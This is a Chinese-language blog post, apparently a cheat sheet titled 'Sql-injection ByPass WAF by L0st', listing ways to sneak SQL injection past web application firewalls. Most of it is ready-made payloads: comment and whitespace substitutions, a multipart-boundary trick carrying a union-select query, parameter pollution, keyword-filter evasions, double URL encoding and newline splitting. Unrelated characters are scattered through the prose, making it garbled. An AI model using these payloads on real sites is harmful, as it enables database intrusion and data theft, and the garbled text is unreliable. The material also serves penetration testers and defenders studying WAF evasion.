Sql-injection ByPass WAF by L0st

常見的幾種WAF

  1. 云WAF(CDN中包含WAF)
    通常需要將DNS解析到CDN的IP上去冈在,請求URL時唾戚,數(shù)據(jù)包先經(jīng)過云WAF檢測令杈,通過后再發(fā)送給主機掌敬。
  2. 主機防護軟件
    可用于掃描和保護主機正卧,并監(jiān)聽WEB端口流量是否有惡意的蠢熄,功能較為全面。
  3. 硬件ips/ids防護炉旷、硬件waf
    使用專門硬件防護設(shè)備的方式签孔,當(dāng)向主機請求時,會先將流量經(jīng)過此設(shè)備進行流量清洗和攔截窘行,如果通過再將數(shù)據(jù)包流給主機饥追。

常用占位符號

SQL語句可插入符號位[]:

select * from pwd where id=1[]union[]select[]username,password[]from[]pwd;
可以當(dāng)空格使用的符號
  1. 注釋符
    #
    --
    -- -
    --+
    //
    /**/
    /*letmetest*/
    ;%00
  2. 空白字符

SQLite3: 0A 0D 0C 09 20
MySQL5: 09 0A 0B 0C 0D A0 20
PosgresSQL: 0A 0D 0C 09 20
Oracle: 11g 00 0A 0D 0C 09 20
MSSQL: 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15, 16,17,18,19,1A,1B,1C,1D,1E,1F,20

  1. + -
  2. ``符號,如 `schema_name`
  3. ~
  4. !
  5. 圓括號()
  6. @`id` 如select@`id`
  7. .1 和 /*.1*/
  8. 單雙引號' ' " "
  9. 花括號{}
  10. 常用urlencode:
Urlencode Urldecode
%0A \n
%23 #
%2d -
%0B vertical tab
%0C new page
%0D carriage return
%A0 non-breaking space
%20 Space
%09 Horizontal Tab
%26 &(and)
  1. 科學(xué)記數(shù)法
  2. 空格替換:%20, %09, %0a, %0b, %0c, %0d, %a0

可運用的SQL函數(shù)及關(guān)鍵詞

MySQL:

  1. union
  2. union distinct
  3. union all
  4. union distinctrow
  5. procedure
  6. analyse()
  7. updatexml()
  8. extracavalue()
  9. exp()
  10. ceil()
  11. atan()
  12. sqrt()
  13. floor()
  14. ceiling()
  15. tan()
  16. rand()
  17. sign()
  18. greatest()

字符串截取函數(shù)
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)

字符串連接函數(shù)
concat(version(),'|',user());
concat_ws('|',1,2,3)

字符轉(zhuǎn)換
Char(49)
Hex('a')
Unhex(61)

如果過濾了逗號

  1. limit處的逗號: limit 1 offset 0
  2. 字符串截取處逗號: mid(version() from 1 for 1)

MSSQL:

  1. IS_SRVROLEMEMBER()
  2. IS_MEMBER()
  3. HAS_DBACCESS()
  4. convert()
  5. col_name()
  6. object_id()
  7. is_srvrolemember()
  8. is_member()

字符串截取函數(shù)
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)

字符串轉(zhuǎn)換函數(shù)
Ascii('a') 這里的函數(shù)可以在括號之間添加空格的罐盔,一些waf過濾不嚴(yán)會導(dǎo)致bypass
Char('97')
exec()

multipart請求中的注入

PHP解析器在解析multipart請求的時候但绕,它以逗號作為邊界,只取boundary,而普通解析器接受整個字符串捏顺。 因此六孵,如果沒有按正確規(guī)范的話,就會出現(xiàn)這么一個狀況:首先填充無害的data幅骄,waf將其視為了一個整體請求劫窒,其實還包含著惡意語句。

    ------,xxxx
    Content-Disposition: form-data; name="img"; filename="img.gif"
    GIF89a
    ------
    Content-Disposition: form-data; name="id"
    1' union select null,null,flag,null from flag limit 1 offset 1-- -
    --------
    ------,xxxx--

一個可根據(jù)需要進行修改的HTML表單提交頁面:

<html>
<head></head>
<body>
<form action="http://localhost/sqlilabs/Less-11/index.php" method="post" enctype="multipart/form-data">
<input type="text" name="uname">
<input type="text" name="passwd">
<input type="submit">
</form>
</body>
</html>

HTTP參數(shù)污染

假設(shè)提交的參數(shù)即為:id=1&id=2&id=3
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3

mysql自定義變量

Bypass Payload:
id=1|@pwd:=(select username from users where id=4)/*ddd*/union/*ddd*/select null,@pwd

?id=0'|@pwd:=(select user())/**/union/**/select 1,@pwd,3 --+

繞過'='過濾

解決方法:使用like查詢
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';
使用sounds like:
'or+(1)sounds/**/like"1"--%a0-

繞過where name= 條件處引號限制

  1. where username= 0x61646D696E HEX編碼
  2. where username= CHAR(97, 100, 109, 105, 110) 使用CHAR()函數(shù)

盲注中的條件語句

  1. SELECT IF(1=1, true, false);
  2. SELECT CASE WHEN 1=1 THEN true ELSE false END;
  3. IFNULL()
  4. NULLIF()

括號的用法

UNION(SELECT(column)FROM(table))

過濾 and or

1 or 1=1 and 1=1
payload:
1 || 1=1 1&& 1=1

我在測試過程中發(fā)現(xiàn)id=1%20%26%201=1--+才能正確執(zhí)行and語句拆座,&&無效

字符串格式

' or "a"='a'
' or 'a'=n'a'               //unicode
' or 'a'=b'1100001'         //binary
' or 'a'=_binary'1100001'   //5.5.41下測試無效
' or 'a'=x'61'              //16進制

另外主巍,字符型 or and 關(guān)鍵詞不需要加空格,
例如id=1%27and%271%27=%271 \\id=1'and'1'='1

過濾 union select

過濾正則/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -

過濾limit

select * from users where id=1;
select * from users group by id having id=1;

特殊的盲注——對比關(guān)鍵字

'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))

盲注中的conv()函數(shù)

conv(字符串挪凑,被轉(zhuǎn)換字符進制煤禽,轉(zhuǎn)換后的進制)
conv(hex('a'),16,10)

reverse截取函數(shù)

reverse('abcdef')='fedcba'

PHP中的PATH_INFO特性

訪問 http://......./3.php?id=1
等價于 http://......./3.php/xxxxxxx?id=1
針對白名單繞過很有效,很多WAF考慮到效率對于后綴為.js .jpg的文件不進行檢查岖赋,故造成繞過

針對http請求數(shù)據(jù)包

畸形method:
某些apache版本在做GET請求的時候檬果,無論method為何值均會取出GET的內(nèi)容。如請求的method名為DOTA唐断,依然會返回GET方法的值选脊,即,可以任意替換GET方法為其它值,但仍能有效工作脸甘,但如果waf嚴(yán)格按照GET方法取值恳啥,則取不到任何內(nèi)容

cookie:
某些參數(shù)通過GET,POST,COOKIE進行傳送,故Cookie處亦可以進行注入

雙重URL編碼

雙重URL編碼: 即web應(yīng)用層在接受到經(jīng)過服務(wù)器層解碼后的參數(shù)后丹诀,又進行了一次URL解碼
我們可以將sql語句urlencode兩次進行注入

mysql語句可以換行的特性

由于mysql類似C語言钝的,將 ; 符號作為一條語句的結(jié)束,故可以在注入語句中加入換行符搭配注釋符使用:
id=1'+union--+aaaaaaaaaaaaa%0ASelect--+bbbbbbbbb%0Auser,passwd/**/from%23%0Auser;%00

id=1' union--+aaaaaaaaaaaaaaaaaaaaaaaaaa
Select--+bbbbbbbbbbbbbbbbb
user,passwd from#bbbbbbbbbbbbbbbbb
user;bbbbbbbbbbb

實例:
?id=0%27union--+aaaaaa%0Aselect--+bbbbbb%0A1,2,3--+

搞不懂的/!*...*/ (可過360)

id=1 union/*!/*!select 1,2,3*/from dual

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末铆遭,一起剝皮案震驚了整個濱河市硝桩,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌枚荣,老刑警劉巖碗脊,帶你破解...
    沈念sama閱讀 217,657評論 6 505
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異橄妆,居然都是意外死亡衙伶,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,889評論 3 394
  • 文/潘曉璐 我一進店門害碾,熙熙樓的掌柜王于貴愁眉苦臉地迎上來矢劲,“玉大人,你說我怎么就攤上這事慌随》页粒” “怎么了?”我有些...
    開封第一講書人閱讀 164,057評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長花嘶。 經(jīng)常有香客問我,道長蹦漠,這世上最難降的妖魔是什么椭员? 我笑而不...
    開封第一講書人閱讀 58,509評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮笛园,結(jié)果婚禮上隘击,老公的妹妹穿的比我還像新娘。我一直安慰自己研铆,他們只是感情好埋同,可當(dāng)我...
    茶點故事閱讀 67,562評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著棵红,像睡著了一般凶赁。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上逆甜,一...
    開封第一講書人閱讀 51,443評論 1 302
  • 那天虱肄,我揣著相機與錄音,去河邊找鬼交煞。 笑死咏窿,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的素征。 我是一名探鬼主播集嵌,決...
    沈念sama閱讀 40,251評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼御毅!你這毒婦竟也來了根欧?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,129評論 0 276
  • 序言:老撾萬榮一對情侶失蹤端蛆,失蹤者是張志新(化名)和其女友劉穎咽块,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體欺税,經(jīng)...
    沈念sama閱讀 45,561評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡侈沪,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,779評論 3 335
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了晚凿。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片亭罪。...
    茶點故事閱讀 39,902評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖歼秽,靈堂內(nèi)的尸體忽然破棺而出应役,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 35,621評論 5 345
  • 正文 年R本政府宣布箩祥,位于F島的核電站院崇,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏袍祖。R本人自食惡果不足惜底瓣,卻給世界環(huán)境...
    茶點故事閱讀 41,220評論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望蕉陋。 院中可真熱鬧捐凭,春花似錦、人聲如沸凳鬓。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,838評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽缩举。三九已至垦梆,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間仅孩,已是汗流浹背奶赔。 一陣腳步聲響...
    開封第一講書人閱讀 32,971評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留杠氢,地道東北人站刑。 一個月前我還...
    沈念sama閱讀 48,025評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像鼻百,于是被迫代替她去往敵國和親绞旅。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,843評論 2 354

推薦閱讀更多精彩內(nèi)容

  • 一温艇、分類 可以有以下幾種不同的維度:維度一:基于注入點值的屬性 數(shù)字型 字符型維度二:基于注入點的位置 GET/P...
    ffx_01閱讀 1,745評論 0 0
  • web應(yīng)用程序會對用戶的輸入進行驗證因悲,過濾其中的一些關(guān)鍵字,這種過濾我們可以試著用下面的方法避開勺爱。 1晃琳、 不使用被...
    查無此人asdasd閱讀 7,272評論 0 5
  • pyspark.sql模塊 模塊上下文 Spark SQL和DataFrames的重要類: pyspark.sql...
    mpro閱讀 9,451評論 0 13
  • 近十年來卫旱,WAF 已經(jīng)逐漸發(fā)展成熟,被軟件行業(yè)接受并成為無數(shù)企業(yè)保護應(yīng)用的不二選擇围段。很多大型企業(yè)甚至相繼親自設(shè)計或...
    OneAPM閱讀 991評論 0 1
  • MSSQL 跨庫查詢(臭要飯的!黑夜) 榨干MS SQL最后一滴血 SQL語句參考及記錄集對象詳解 關(guān)于SQL S...
    碧海生曲閱讀 5,596評論 0 1